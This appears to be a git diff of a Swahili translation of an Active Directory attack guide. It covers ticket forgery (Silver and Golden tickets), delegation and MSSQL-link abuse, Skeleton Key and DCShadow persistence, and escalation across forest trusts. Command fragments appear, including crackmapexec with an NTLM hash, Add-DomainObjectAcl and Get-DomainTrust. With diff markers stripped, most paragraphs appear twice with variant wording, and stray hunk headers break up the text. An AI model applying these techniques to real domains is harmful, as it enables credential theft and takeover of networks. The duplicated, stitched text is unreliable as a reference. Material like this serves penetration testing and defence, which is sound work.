Katika mbinu ya shambulizi ya **Pass The Ticket (PTT)**, washambuliaji **wanaiba tiketi ya uthibitisho ya mtumiaji** badala ya nenosiri lao au thamani za hash. Tiketi hii iliyibwa inatumika kisha **kujifanya kuwa mtumiaji**, ikipata ufikiaji usioidhinishwa kwa rasilimali na huduma ndani ya mtandao.
|
||||
Katika mbinu ya shambulizi ya **Pass The Ticket (PTT)**, washambuliaji **wanaiba tiketi ya uthibitisho ya mtumiaji** badala ya nenosiri lao au thamani za hash. Tiketi hii iliyokuwa imeibiwa inatumika kisha **kujifanya kuwa mtumiaji**, ikipata ufikiaji usioidhinishwa kwa rasilimali na huduma ndani ya mtandao.
|
||||
|
||||
{{#ref}}
|
||||
pass-the-ticket.md
|
||||
@ -275,8 +275,8 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
|
||||
### MSSQL Abuse & Trusted Links
|
||||
|
||||
Ikiwa mtumiaji ana mamlaka ya **kufikia mifano ya MSSQL**, anaweza kuwa na uwezo wa kuitumia **kutekeleza amri** kwenye mwenyeji wa MSSQL (ikiwa inafanya kazi kama SA), **kuiba** NetNTLM **hash** au hata kufanya **shambulio la relay**.\
|
||||
Pia, ikiwa mfano wa MSSQL unakubaliwa (kiungo cha database) na mfano mwingine wa MSSQL. Ikiwa mtumiaji ana mamlaka juu ya database iliyoaminika, atakuwa na uwezo wa **kutumia uhusiano wa kuaminiana kutekeleza maswali pia kwenye mfano mwingine**. Hizi kuaminiana zinaweza kuunganishwa na wakati fulani mtumiaji anaweza kuwa na uwezo wa kupata database iliyo na makosa ambapo anaweza kutekeleza amri.\
|
||||
**Viungo kati ya databases vinafanya kazi hata katika kuaminiana kwa msitu.**
|
||||
Pia, ikiwa mfano wa MSSQL unakubaliwa (kiungo cha database) na mfano mwingine wa MSSQL. Ikiwa mtumiaji ana mamlaka juu ya database iliyoaminika, atakuwa na uwezo wa **kutumia uhusiano wa kuaminiana kutekeleza maswali pia kwenye mfano mwingine**. Hizi uhusiano zinaweza kuunganishwa na wakati fulani mtumiaji anaweza kupata database iliyo na makosa ambapo anaweza kutekeleza amri.\
|
||||
**Viungo kati ya databases vinafanya kazi hata katika uhusiano wa msitu.**
|
||||
|
||||
{{#ref}}
|
||||
abusing-ad-mssql.md
|
||||
@ -286,7 +286,7 @@ abusing-ad-mssql.md
|
||||
|
||||
Ikiwa unapata kitu chochote cha Kompyuta chenye sifa [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) na una mamlaka ya eneo kwenye kompyuta, utaweza kutoa TGTs kutoka kwenye kumbukumbu ya kila mtumiaji anayeingia kwenye kompyuta.\
|
||||
Hivyo, ikiwa **Msimamizi wa Eneo anaingia kwenye kompyuta**, utaweza kutoa TGT yake na kumwakilisha kwa kutumia [Pass the Ticket](pass-the-ticket.md).\
|
||||
Shukrani kwa uwakilishi ulio na mipaka unaweza hata **kuathiri kiotomatiki Server ya Print** (tunatumai itakuwa DC).
|
||||
Shukrani kwa uhamasishaji wa kizuizi unaweza hata **kuathiri kiotomatiki Server ya Print** (tunatumai itakuwa DC).
|
||||
|
||||
{{#ref}}
|
||||
unconstrained-delegation.md
|
||||
@ -294,8 +294,8 @@ unconstrained-delegation.md
|
||||
|
||||
### Constrained Delegation
|
||||
|
||||
Ikiwa mtumiaji au kompyuta inaruhusiwa kwa "Constrained Delegation" itakuwa na uwezo wa **kumwakilisha mtumiaji yeyote ili kufikia huduma fulani kwenye kompyuta**.\
|
||||
Kisha, ikiwa **utavunja hash** ya mtumiaji/hii kompyuta utaweza **kumwakilisha mtumiaji yeyote** (hata wasimamizi wa eneo) ili kufikia huduma fulani.
|
||||
Ikiwa mtumiaji au kompyuta inaruhusiwa kwa "Constrained Delegation" itakuwa na uwezo wa **kumwakilisha mtumiaji yeyote kufikia huduma fulani kwenye kompyuta**.\
|
||||
Kisha, ikiwa **utavunja hash** ya mtumiaji/hii kompyuta utaweza **kumwakilisha mtumiaji yeyote** (hata wasimamizi wa eneo) kufikia huduma fulani.
|
||||
|
||||
{{#ref}}
|
||||
constrained-delegation.md
|
||||
@ -303,7 +303,7 @@ constrained-delegation.md
|
||||
|
||||
### Resourced-based Constrain Delegation
|
||||
|
||||
Kuwa na mamlaka ya **WRITE** kwenye kitu cha Active Directory cha kompyuta ya mbali kunaruhusu kupata utekelezaji wa msimbo wenye **mamlaka ya juu**:
|
||||
Kuwa na **WRITE** mamlaka kwenye kitu cha Active Directory cha kompyuta ya mbali kunaruhusu kupata utekelezaji wa msimbo wenye **mamlaka ya juu**:
|
||||
|
||||
{{#ref}}
|
||||
resource-based-constrained-delegation.md
|
||||
@ -344,7 +344,7 @@ laps.md
|
||||
|
||||
### Certificate Theft
|
||||
|
||||
**Kukusanya vyeti** kutoka kwenye mashine iliyeathiriwa inaweza kuwa njia ya kuinua mamlaka ndani ya mazingira:
|
||||
**Kukusanya vyeti** kutoka kwenye mashine iliyoharibiwa inaweza kuwa njia ya kuinua mamlaka ndani ya mazingira:
|
||||
|
||||
{{#ref}}
|
||||
ad-certificates/certificate-theft.md
|
||||
@ -352,7 +352,7 @@ ad-certificates/certificate-theft.md
|
||||
|
||||
### Certificate Templates Abuse
|
||||
|
||||
Ikiwa **mipango ya vyeti** iliyo hatarini imewekwa, inawezekana kuitumia vibaya ili kuinua mamlaka:
|
||||
Ikiwa **mifano ya hatari** imewekwa inawezekana kuzitumia vibaya ili kuinua mamlaka:
|
||||
|
||||
{{#ref}}
|
||||
ad-certificates/domain-escalation.md
|
||||
@ -393,7 +393,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti
|
||||
|
||||
### Silver Ticket
|
||||
|
||||
**Shambulio la Silver Ticket** linaunda **tiketi halali ya Huduma ya Kutoa Tiketi (TGS)** kwa huduma maalum kwa kutumia **hash ya NTLM** (kwa mfano, **hash ya akaunti ya PC**). Njia hii inatumika ili **kufikia mamlaka ya huduma**.
|
||||
**Shambulio la Silver Ticket** linaunda **tiketi halali ya Huduma ya Kutoa Tiketi (TGS)** kwa huduma maalum kwa kutumia **NTLM hash** (kwa mfano, **hash ya akaunti ya PC**). Njia hii inatumika ili **kufikia mamlaka ya huduma**.
|
||||
|
||||
{{#ref}}
|
||||
silver-ticket.md
|
||||
@ -401,7 +401,7 @@ silver-ticket.md
|
||||
|
||||
### Golden Ticket
|
||||
|
||||
**Shambulio la Golden Ticket** linahusisha mshambuliaji kupata ufikiaji wa **hash ya NTLM ya akaunti ya krbtgt** katika mazingira ya Active Directory (AD). Akaunti hii ni maalum kwa sababu inatumika kusaini **Tiketi za Kutoa Tiketi (TGTs)**, ambazo ni muhimu kwa uthibitishaji ndani ya mtandao wa AD.
|
||||
**Shambulio la Golden Ticket** linahusisha mshambuliaji kupata ufikiaji wa **NTLM hash ya akaunti ya krbtgt** katika mazingira ya Active Directory (AD). Akaunti hii ni maalum kwa sababu inatumika kusaini **Tiketi za Kutoa Tiketi (TGTs)**, ambazo ni muhimu kwa uthibitishaji ndani ya mtandao wa AD.
|
||||
|
||||
Mara mshambuliaji anapopata hash hii, anaweza kuunda **TGTs** kwa akaunti yoyote anayotaka (shambulio la tiketi ya fedha).
|
||||
|
||||
@ -457,7 +457,7 @@ acl-persistence-abuse/
|
||||
|
||||
### Security Descriptors
|
||||
|
||||
**Maelezo ya usalama** yanatumika kuhifadhi **mamlaka** ambayo **kitu** kina **juu ya** **kitu**. Ikiwa unaweza tu **kufanya** **mabadiliko madogo** katika **maelezo ya usalama** ya kitu, unaweza kupata mamlaka ya kuvutia juu ya kitu hicho bila kuhitaji kuwa mwanachama wa kundi lenye mamlaka.
|
||||
**Maelezo ya usalama** yanatumika kuhifadhi **mamlaka** ambayo **kitu** kina **juu ya** **kitu**. Ikiwa unaweza tu **kufanya** **mabadiliko madogo** katika **maelezo ya usalama** ya kitu, unaweza kupata mamlaka ya kuvutia sana juu ya kitu hicho bila kuhitaji kuwa mwanachama wa kundi lenye mamlaka.
|
||||
|
||||
{{#ref}}
|
||||
security-descriptors.md
|
||||
@ -465,7 +465,7 @@ security-descriptors.md
|
||||
|
||||
### Skeleton Key
|
||||
|
||||
Badilisha **LSASS** katika kumbukumbu ili kuanzisha **nenosiri la ulimwengu**, linalotoa ufikiaji kwa akaunti zote za eneo.
|
||||
Badilisha **LSASS** katika kumbukumbu ili kuanzisha **neno la siri la ulimwengu**, linalotoa ufikiaji kwa akaunti zote za eneo.
|
||||
|
||||
{{#ref}}
|
||||
skeleton-key.md
|
||||
@ -473,7 +473,7 @@ skeleton-key.md
|
||||
|
||||
### Custom SSP
|
||||
|
||||
[Jifunze nini SSP (Mtoa Huduma ya Usalama) hapa.](../authentication-credentials-uac-and-efs/#security-support-provider-interface-sspi)\
|
||||
[Jifunze nini SSP (Mtoa Msaada wa Usalama) hapa.](../authentication-credentials-uac-and-efs/#security-support-provider-interface-sspi)\
|
||||
Unaweza kuunda **SSP yako mwenyewe** ili **kukamata** kwa **maandishi wazi** **akidi** zinazotumika kufikia mashine.\\
|
||||
|
||||
{{#ref}}
|
||||
@ -482,7 +482,7 @@ custom-ssp.md
|
||||
|
||||
### DCShadow
|
||||
|
||||
Inasajili **Msimamizi mpya wa Eneo** katika AD na kuitumia **kushinikiza sifa** (SIDHistory, SPNs...) kwenye vitu vilivyotajwa **bila** kuacha **kumbukumbu** kuhusu **mabadiliko**. Unahitaji ruhusa za DA na uwe ndani ya **domeni ya mzizi**.\
|
||||
Inasajili **Msimamizi mpya wa Eneo** katika AD na inautumia **kushinikiza sifa** (SIDHistory, SPNs...) kwenye vitu vilivyotajwa **bila** kuacha **kumbukumbu** kuhusu **mabadiliko**. Unahitaji ruhusa za DA na uwe ndani ya **domeni ya mzizi**.\
|
||||
Kumbuka kwamba ikiwa utatumia data mbaya, kumbukumbu mbaya sana zitaonekana.
|
||||
|
||||
{{#ref}}
|
||||
@ -491,7 +491,7 @@ dcshadow.md
|
||||
|
||||
### LAPS Persistence
|
||||
|
||||
Kabla tulizungumzie jinsi ya kuinua mamlaka ikiwa una **ruhusa ya kutosha kusoma maneno ya siri ya LAPS**. Hata hivyo, maneno haya ya siri yanaweza pia kutumika **kuhifadhi kudumu**.\
|
||||
Kabla tulizungumzia jinsi ya kuinua mamlaka ikiwa una **ruhusa za kutosha kusoma maneno ya siri ya LAPS**. Hata hivyo, maneno haya ya siri yanaweza pia kutumika **kuhifadhi kudumu**.\
|
||||
Angalia:
|
||||
|
||||
{{#ref}}
|
||||
@ -500,58 +500,50 @@ laps.md
|
||||
|
||||
## Forest Privilege Escalation - Domain Trusts
|
||||
|
||||
Microsoft inaona **Msitu** kama mpaka wa usalama. Hii inamaanisha kwamba **kuathiri eneo moja kunaweza kusababisha msitu mzima kuathiriwa**.
|
||||
Microsoft inaona **Msitu** kama mpaka wa usalama. Hii inamaanisha kwamba **kuharibu eneo moja kunaweza kusababisha msitu mzima kuharibiwa**.
|
||||
|
||||
### Taarifa za Msingi
|
||||
### Basic Information
|
||||
|
||||
[**kuaminiana kwa eneo**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) ni mekanizma ya usalama inayowezesha mtumiaji kutoka kwenye **eneo** kufikia rasilimali katika **eneo** lingine. Kimsingi inaunda uhusiano kati ya mifumo ya uthibitishaji ya maeneo mawili, ikiruhusu uthibitishaji kuhamasika bila shida. Wakati maeneo yanapoweka uhusiano wa kuaminiana, wanabadilishana na kuhifadhi funguo maalum ndani ya **Msimamizi wao wa Eneo (DCs)**, ambazo ni muhimu kwa uaminifu wa uhusiano huo.
|
||||
[**Uhusiano wa eneo**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) ni mekanizma ya usalama inayowezesha mtumiaji kutoka kwenye **eneo** kufikia rasilimali katika **eneo** lingine. Kimsingi inaunda uhusiano kati ya mifumo ya uthibitishaji ya maeneo mawili, ikiruhusu uthibitishaji wa verifications kuhamasika bila shida. Wakati maeneo yanapoweka uhusiano wa kuaminiana, wanabadilishana na kuhifadhi funguo maalum ndani ya **Msimamizi wao wa Eneo (DCs)**, ambazo ni muhimu kwa uaminifu wa uhusiano huo.
|
||||
|
||||
Katika hali ya kawaida, ikiwa mtumiaji anataka kufikia huduma katika **eneo lililoaminika**, lazima kwanza aombe tiketi maalum inayojulikana kama **inter-realm TGT** kutoka DC ya eneo lake mwenyewe. Hii TGT inakaguliwa kwa funguo ya pamoja ambayo maeneo yote mawili yamekubaliana. Mtumiaji kisha anawasilisha TGT hii kwa **DC ya eneo lililoaminika** ili kupata tiketi ya huduma (**TGS**). Baada ya kuthibitishwa kwa mafanikio kwa TGT ya inter-realm na DC ya eneo lililoaminika, inatoa TGS, ikimpa mtumiaji ufikiaji wa huduma.
|
||||
Katika hali ya kawaida, ikiwa mtumiaji anataka kufikia huduma katika **eneo lililoaminika**, lazima kwanza aombe tiketi maalum inayojulikana kama **inter-realm TGT** kutoka DC ya eneo lake mwenyewe. TGT hii imefungwa kwa **funguo** iliyoshirikiwa ambayo maeneo yote mawili yamekubaliana. Mtumiaji kisha anawasilisha TGT hii kwa **DC ya eneo lililoaminika** ili kupata tiketi ya huduma (**TGS**). Baada ya uthibitishaji wa mafanikio wa inter-realm TGT na DC ya eneo lililoaminika, inatoa TGS, ikimpa mtumiaji ufikiaji wa huduma.
|
||||
|
||||
**Hatua**:
|
||||
|
||||
1. **Kompyuta ya mteja** katika **Eneo 1** inaanza mchakato kwa kutumia **hash ya NTLM** kuomba **Tiketi ya Kutoa Tiketi (TGT)** kutoka kwa **Msimamizi wake wa Eneo (DC1)**.
|
||||
2. DC1 inatoa TGT mpya ikiwa mteja amethibitishwa kwa mafanikio.
|
||||
1. **Kompyuta ya mteja** katika **Eneo 1** inaanza mchakato kwa kutumia **NTLM hash** yake kuomba **Tiketi ya Kutoa Tiketi (TGT)** kutoka kwa **Msimamizi wake wa Eneo (DC1)**.
|
||||
2. DC1 inatoa TGT mpya ikiwa mteja ameidhinishwa kwa mafanikio.
|
||||
3. Mteja kisha anaomba **inter-realm TGT** kutoka DC1, ambayo inahitajika kufikia rasilimali katika **Eneo 2**.
|
||||
4. Inter-realm TGT inakaguliwa kwa **funguo ya kuaminiana** iliyoshirikiwa kati ya DC1 na DC2 kama sehemu ya uhusiano wa kuaminiana wa pande mbili.
|
||||
4. Inter-realm TGT imefungwa kwa **funguo ya kuaminiana** iliyoshirikiwa kati ya DC1 na DC2 kama sehemu ya uhusiano wa kuaminiana wa pande mbili.
|
||||
5. Mteja anachukua inter-realm TGT kwa **Msimamizi wa Eneo 2 (DC2)**.
|
||||
6. DC2 inathibitisha inter-realm TGT kwa kutumia funguo yake ya kuaminiana iliyoshirikiwa na, ikiwa ni halali, inatoa **Huduma ya Kutoa Tiketi (TGS)** kwa seva katika Eneo 2 ambayo mteja anataka kufikia.
|
||||
7. Hatimaye, mteja anawasilisha TGS hii kwa seva, ambayo inakaguliwa kwa hash ya akaunti ya seva, ili kupata ufikiaji wa huduma katika Eneo 2.
|
||||
7. Hatimaye, mteja anawasilisha TGS hii kwa seva, ambayo imefungwa kwa hash ya akaunti ya seva, ili kupata ufikiaji wa huduma katika Eneo 2.
|
||||
|
||||
### Uhusiano tofauti wa kuaminiana
|
||||
### Different trusts
|
||||
|
||||
Ni muhimu kutambua kwamba **uaminifu unaweza kuwa wa njia 1 au njia 2**. Katika chaguo za njia 2, maeneo yote mawili yatakuwa na uaminifu kwa kila mmoja, lakini katika uhusiano wa **njia 1** moja ya maeneo itakuwa **ya kuaminika** na nyingine itakuwa **ya kuamini**. Katika kesi ya mwisho, **utaweza tu kufikia rasilimali ndani ya eneo la kuamini kutoka eneo lililoaminika**.
|
||||
Ni muhimu kutambua kwamba **uaminifu unaweza kuwa wa njia 1 au njia 2**. Katika chaguo za njia 2, maeneo yote mawili yatakuwa na uaminifu kwa kila mmoja, lakini katika uhusiano wa **njia 1** moja ya maeneo itakuwa **ya kuaminika** na nyingine itakuwa **ya kuamini**. Katika kesi ya mwisho, **utaweza tu kufikia rasilimali ndani ya eneo linaloamini kutoka eneo lililoaminika**.
|
||||
|
||||
Ikiwa Eneo A linakubali Eneo B, A ni eneo la kuamini na B ni eneo lililoaminika. Zaidi ya hayo, katika **Eneo A**, hii itakuwa **uaminifu wa nje**; na katika **Eneo B**, hii itakuwa **uaminifu wa ndani**.
|
||||
Ikiwa Eneo A linakubali Eneo B, A ni eneo linaloamini na B ni eneo lililoaminika. Zaidi ya hayo, katika **Eneo A**, hii itakuwa **Uaminifu wa Nje**; na katika **Eneo B**, hii itakuwa **Uaminifu wa Ndani**.
|
||||
|
||||
**Uhusiano tofauti wa kuamini**
|
||||
|
||||
- **Uaminifu wa Mzazi-Mwana**: Hii ni mipangilio ya kawaida ndani ya msitu mmoja, ambapo eneo la mtoto moja kwa moja lina uaminifu wa pande mbili na eneo lake la mzazi. Kimsingi, hii inamaanisha kwamba maombi ya uthibitishaji yanaweza kuhamasika bila shida kati ya mzazi na mtoto.
|
||||
- **Uaminifu wa Cross-link**: Inajulikana kama "uaminifu wa mkato," hizi zimeanzishwa kati ya maeneo ya watoto ili kuharakisha michakato ya rufaa. Katika misitu ngumu, rufaa za uthibitishaji kawaida zinahitaji kusafiri hadi mzizi wa msitu na kisha kushuka hadi eneo lengwa. Kwa kuunda viungo vya msalaba, safari inafupishwa, ambayo ni muhimu hasa katika mazingira yaliyosambazwa kijiografia.
|
||||
- **Uaminifu wa Nje**: Hizi zimeanzishwa kati ya maeneo tofauti, yasiyo na uhusiano na ni zisizo za kupitisha kwa asili. Kulingana na [nyaraka za Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), uaminifu wa nje ni muhimu kwa kufikia rasilimali katika eneo nje ya msitu wa sasa ambao haujaunganishwa na uaminifu wa msitu. Usalama unaboreshwa kupitia kuchuja SID na uaminifu wa nje.
|
||||
- **Uaminifu wa Mti-Mzizi**: Hizi uaminifu huanzishwa moja kwa moja kati ya eneo la mzizi wa msitu na mzizi mpya wa mti ulioongezwa. Ingawa hazikutana mara kwa mara, uaminifu wa mti-mzizi ni muhimu kwa kuongeza miti mipya ya eneo kwenye msitu, ikiruhusu kudumisha jina la kipekee la eneo na kuhakikisha kupitisha kwa pande mbili. Taarifa zaidi zinaweza kupatikana katika [mwongozo wa Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
|
||||
- **Uaminifu wa Msitu**: Aina hii ya uaminifu ni uaminifu wa pande mbili wa kupitisha kati ya maeneo mawili ya mzizi wa msitu, pia ikilazimisha kuchuja SID ili kuboresha hatua za usalama.
|
||||
- **Uaminifu wa MIT**: Hizi uaminifu zimeanzishwa na maeneo ya Kerberos yanayofanya kazi na [RFC4120](https://tools.ietf.org/html/rfc4120) yasiyo ya Windows. Uaminifu wa MIT ni maalum zaidi na unalenga mazingira yanayohitaji ushirikiano na mifumo ya Kerberos nje ya mfumo wa Windows.
|
||||
- **Uhusiano wa Mzazi-Mwana**: Hii ni mipangilio ya kawaida ndani ya msitu mmoja, ambapo eneo la mtoto moja kwa moja lina uhusiano wa kuaminiana wa njia mbili na eneo lake la mzazi. Kimsingi, hii inamaanisha kwamba maombi ya uthibitishaji yanaweza kuhamasika bila shida kati ya mzazi na mtoto.
|
||||
- **Uhusiano wa Msalaba**: Inajulikana kama "uaminifu wa mkato," hizi zimeanzishwa kati ya maeneo ya watoto ili kuharakisha michakato ya rufaa. Katika misitu ngumu, rufaa za uthibitishaji kawaida zinahitaji kusafiri hadi mzizi wa msitu na kisha kushuka hadi eneo lengwa. Kwa kuunda viungo vya msalaba, safari inakuwa fupi, ambayo ni faida hasa katika mazingira yaliyosambazwa kijiografia.
|
||||
- **Uhusiano wa Nje**: Hizi zimeanzishwa kati ya maeneo tofauti, yasiyo na uhusiano na ni zisizo za njia. Kulingana na [nyaraka za Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), uhusiano wa nje ni muhimu kwa kufikia rasilimali katika eneo nje ya msitu wa sasa ambao haujaunganishwa na uhusiano wa msitu. Usalama unaboreshwa kupitia kuchuja SID na uhusiano wa nje.
|
||||
- **Uhusiano wa Mti-Mzizi**: Hizi uhusiano zinaanzishwa moja kwa moja kati ya eneo la mzizi wa msitu na mti mpya ulioongezwa. Ingawa hazikutana mara nyingi, uhusiano wa mti-mzizi ni muhimu kwa kuongeza miti mipya ya eneo kwenye msitu, ikiruhusu kudumisha jina la kipekee la eneo na kuhakikisha uhamasishaji wa njia mbili. Taarifa zaidi zinaweza kupatikana katika [mwongozo wa Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
|
||||
- **Uhusiano wa Msitu**: Aina hii ya uaminifu ni uaminifu wa njia mbili kati ya maeneo mawili ya mzizi wa msitu, pia ikilazimisha kuchuja SID ili kuimarisha hatua za usalama.
|
||||
- **Uhusiano wa MIT**: Hizi uhusiano zimeanzishwa na maeneo ya Kerberos yasiyo ya Windows, [RFC4120-inayokubalika](https://tools.ietf.org/html/rfc4120). Uhusiano wa MIT ni maalum zaidi na unalenga mazingira yanayohitaji ushirikiano na mifumo ya Kerberos nje ya mfumo wa Windows.
|
||||
|
||||
#### Tofauti nyingine katika **uhusiano wa kuamini**
|
||||
|
||||
- Uhusiano wa kuaminiana unaweza pia kuwa **wa kupitisha** (A inakubali B, B inakubali C, basi A inakubali C) au **usio wa kupitisha**.
|
||||
- Uhusiano wa kuaminiana unaweza kuwekwa kama **uaminifu wa pande mbili** (wote wanakubali kila mmoja) au kama **uaminifu wa njia moja** (moja tu kati yao inakubali mwingine).
|
||||
- Uhusiano wa kuamini unaweza pia kuwa **wa njia** (A inakubali B, B inakubali C, kisha A inakubali C) au **usio wa njia**.
|
||||
- Uhusiano wa kuamini unaweza kuwekwa kama **uaminifu wa pande mbili** (wote wanakubali kila mmoja) au kama **uaminifu wa njia moja** (moja tu kati yao inakubali mwingine).
|
||||
|
||||
### Njia ya Shambulio
|
||||
### Attack Path
|
||||
|
||||
1. **Tathmini** uhusiano wa kuaminiana
|
||||
2. Angalia ikiwa **kiongozi wa usalama** (mtumiaji/kundi/kompyuta) ana **ufikiaji** wa rasilimali za **eneo lingine**, labda kwa njia ya entries za ACE au kwa kuwa katika makundi ya eneo lingine. Angalia **uhusiano kati ya maeneo** (uaminifu ulianzishwa kwa hili labda).
|
||||
1. **Tathmini** uhusiano wa kuamini
|
||||
2. Angalia ikiwa **kiongozi wa usalama** (mtumiaji/kundi/kompyuta) ana **ufikiaji** wa rasilimali za **eneo lingine**, labda kwa njia ya ACE entries au kwa kuwa katika makundi ya eneo lingine. Tafuta **uhusiano kati ya maeneo** (uaminifu ulianzishwa kwa hili labda).
|
||||
1. kerberoast katika kesi hii inaweza kuwa chaguo lingine.
|
||||
3. **Vunja** **akaunti** ambazo zinaweza **kuhamasisha** kati ya maeneo.
|
||||
|
||||
Wavamizi wanaweza kufikia rasilimali katika eneo lingine kupitia mitambo mitatu kuu:
|
||||
|
||||
- **Uanachama wa Kundi la Mitaa**: Viongozi wanaweza kuongezwa kwenye makundi ya mitaa kwenye mashine, kama kundi la "Wasimamizi" kwenye seva, wakitoa udhibiti mkubwa juu ya mashine hiyo.
|
||||
- **Uanachama wa Kundi la Eneo la Kigeni**: Viongozi pia wanaweza kuwa wanachama wa makundi ndani ya eneo la kigeni. Hata hivyo, ufanisi wa njia hii unategemea asili ya uaminifu na upeo wa kundi.
|
||||
- **Orodha za Udhibiti wa Ufikiaji (ACLs)**: Viongozi wanaweza kutajwa katika **ACL**, hasa kama viumbe katika **ACEs** ndani ya **DACL**, wakitoa ufikiaji kwa rasilimali maalum. Kwa wale wanaotaka kuingia kwa undani zaidi katika mitambo ya ACLs, DACLs, na ACEs, karatasi ya nyeupe iliyoitwa “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” ni rasilimali muhimu.
|
||||
|
||||
### Kuinua mamlaka ya msitu kutoka mtoto hadi mzazi
|
||||
3. **Haribu** **akaunti** ambazo zinaweza **kuhamasisha** kupitia maeneo.
|
||||
```
|
||||
Get-DomainTrust
|
||||
|
||||
@ -574,7 +566,7 @@ WhenChanged : 2/19/2021 1:28:00 PM
|
||||
|
||||
#### SID-History Injection
|
||||
|
||||
Pandisha kama msimamizi wa Enterprise hadi eneo la mtoto/ mzazi kwa kutumia uaminifu na SID-History injection:
|
||||
Pandisha kama msimamizi wa Enterprise kwa eneo la mtoto/ mzazi kwa kutumia uaminifu na SID-History injection:
|
||||
|
||||
{{#ref}}
|
||||
sid-history-injection.md
|
||||
@ -582,31 +574,31 @@ sid-history-injection.md
|
||||
|
||||
#### Exploit writeable Configuration NC
|
||||
|
||||
Kuelewa jinsi Configuration Naming Context (NC) inavyoweza kutumika ni muhimu. Configuration NC inatumika kama hazina kuu ya data za usanidi katika msitu wa Active Directory (AD). Data hii inakopwa kwa kila Domain Controller (DC) ndani ya msitu, huku DC zinazoweza kuandikwa zikihifadhi nakala inayoweza kuandikwa ya Configuration NC. Ili kutumia hili, mtu lazima awe na **privileges za SYSTEM kwenye DC**, bora iwe DC ya mtoto.
|
||||
Kuelewa jinsi Configuration Naming Context (NC) inavyoweza kutumika ni muhimu. Configuration NC inatumika kama hazina kuu ya data za usanidi katika msitu wa Active Directory (AD). Data hii inakopwa kwa kila Domain Controller (DC) ndani ya msitu, huku DC zinazoweza kuandikwa zikihifadhi nakala inayoweza kuandikwa ya Configuration NC. Ili kutumia hili, mtu lazima awe na **mamlaka ya SYSTEM kwenye DC**, bora iwe DC ya mtoto.
|
||||
|
||||
**Link GPO to root DC site**
|
||||
|
||||
Konteina ya Sites ya Configuration NC inajumuisha taarifa kuhusu tovuti za kompyuta zote zilizounganishwa na eneo ndani ya msitu wa AD. Kwa kufanya kazi na privileges za SYSTEM kwenye DC yoyote, washambuliaji wanaweza kuunganisha GPOs kwenye tovuti za root DC. Kitendo hiki kinaweza kuhatarisha eneo la mzazi kwa kubadilisha sera zinazotumika kwenye tovuti hizi.
|
||||
Konteina ya Sites ya Configuration NC inajumuisha taarifa kuhusu tovuti za kompyuta zote zilizounganishwa na eneo ndani ya msitu wa AD. Kwa kufanya kazi na mamlaka ya SYSTEM kwenye DC yoyote, washambuliaji wanaweza kuunganisha GPOs kwenye tovuti za root DC. Kitendo hiki kinaweza kuhatarisha eneo la mzazi kwa kubadilisha sera zinazotumika kwenye tovuti hizi.
|
||||
|
||||
Kwa taarifa za kina, mtu anaweza kuchunguza utafiti kuhusu [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
|
||||
|
||||
**Compromise any gMSA in the forest**
|
||||
|
||||
Njia ya shambulio inahusisha kulenga gMSAs zenye mamlaka ndani ya eneo. Funguo ya KDS Root, muhimu kwa kuhesabu nywila za gMSAs, inahifadhiwa ndani ya Configuration NC. Kwa kuwa na privileges za SYSTEM kwenye DC yoyote, inawezekana kufikia funguo ya KDS Root na kuhesabu nywila za gMSA yoyote ndani ya msitu.
|
||||
Njia ya shambulio inahusisha kulenga gMSA zenye mamlaka ndani ya eneo. Funguo ya KDS Root, muhimu kwa kuhesabu nywila za gMSA, inahifadhiwa ndani ya Configuration NC. Kwa mamlaka ya SYSTEM kwenye DC yoyote, inawezekana kufikia funguo ya KDS Root na kuhesabu nywila za gMSA yoyote ndani ya msitu.
|
||||
|
||||
Uchambuzi wa kina unaweza kupatikana katika mjadala kuhusu [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
|
||||
|
||||
**Schema change attack**
|
||||
|
||||
Njia hii inahitaji uvumilivu, kusubiri kuundwa kwa vitu vipya vya AD vyenye mamlaka. Kwa kuwa na privileges za SYSTEM, mshambuliaji anaweza kubadilisha Schema ya AD ili kumpa mtumiaji yeyote udhibiti kamili juu ya makundi yote. Hii inaweza kusababisha ufikiaji usioidhinishwa na udhibiti wa vitu vipya vya AD vilivyoundwa.
|
||||
Njia hii inahitaji uvumilivu, kusubiri kuundwa kwa vitu vipya vya AD vyenye mamlaka. Kwa mamlaka ya SYSTEM, mshambuliaji anaweza kubadilisha Schema ya AD ili kumpa mtumiaji yeyote udhibiti kamili juu ya makundi yote. Hii inaweza kusababisha ufikiaji usioidhinishwa na udhibiti wa vitu vipya vya AD vilivyoundwa.
|
||||
|
||||
Kusoma zaidi kunaweza kupatikana kwenye [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
|
||||
|
||||
**From DA to EA with ADCS ESC5**
|
||||
|
||||
Ukatili wa ADCS ESC5 unalenga udhibiti wa vitu vya Public Key Infrastructure (PKI) ili kuunda kigezo cha cheti kinachowezesha uthibitisho kama mtumiaji yeyote ndani ya msitu. Kwa kuwa vitu vya PKI vinapatikana ndani ya Configuration NC, kuhatarisha DC ya mtoto inayoweza kuandikwa kunaruhusu utekelezaji wa mashambulizi ya ESC5.
|
||||
Ukatili wa ADCS ESC5 unalenga udhibiti wa vitu vya Public Key Infrastructure (PKI) ili kuunda kigezo cha cheti kinachowezesha uthibitisho kama mtumiaji yeyote ndani ya msitu. Kwa kuwa vitu vya PKI vinapatikana katika Configuration NC, kuhatarisha DC ya mtoto inayoweza kuandikwa kunaruhusu utekelezaji wa mashambulizi ya ESC5.
|
||||
|
||||
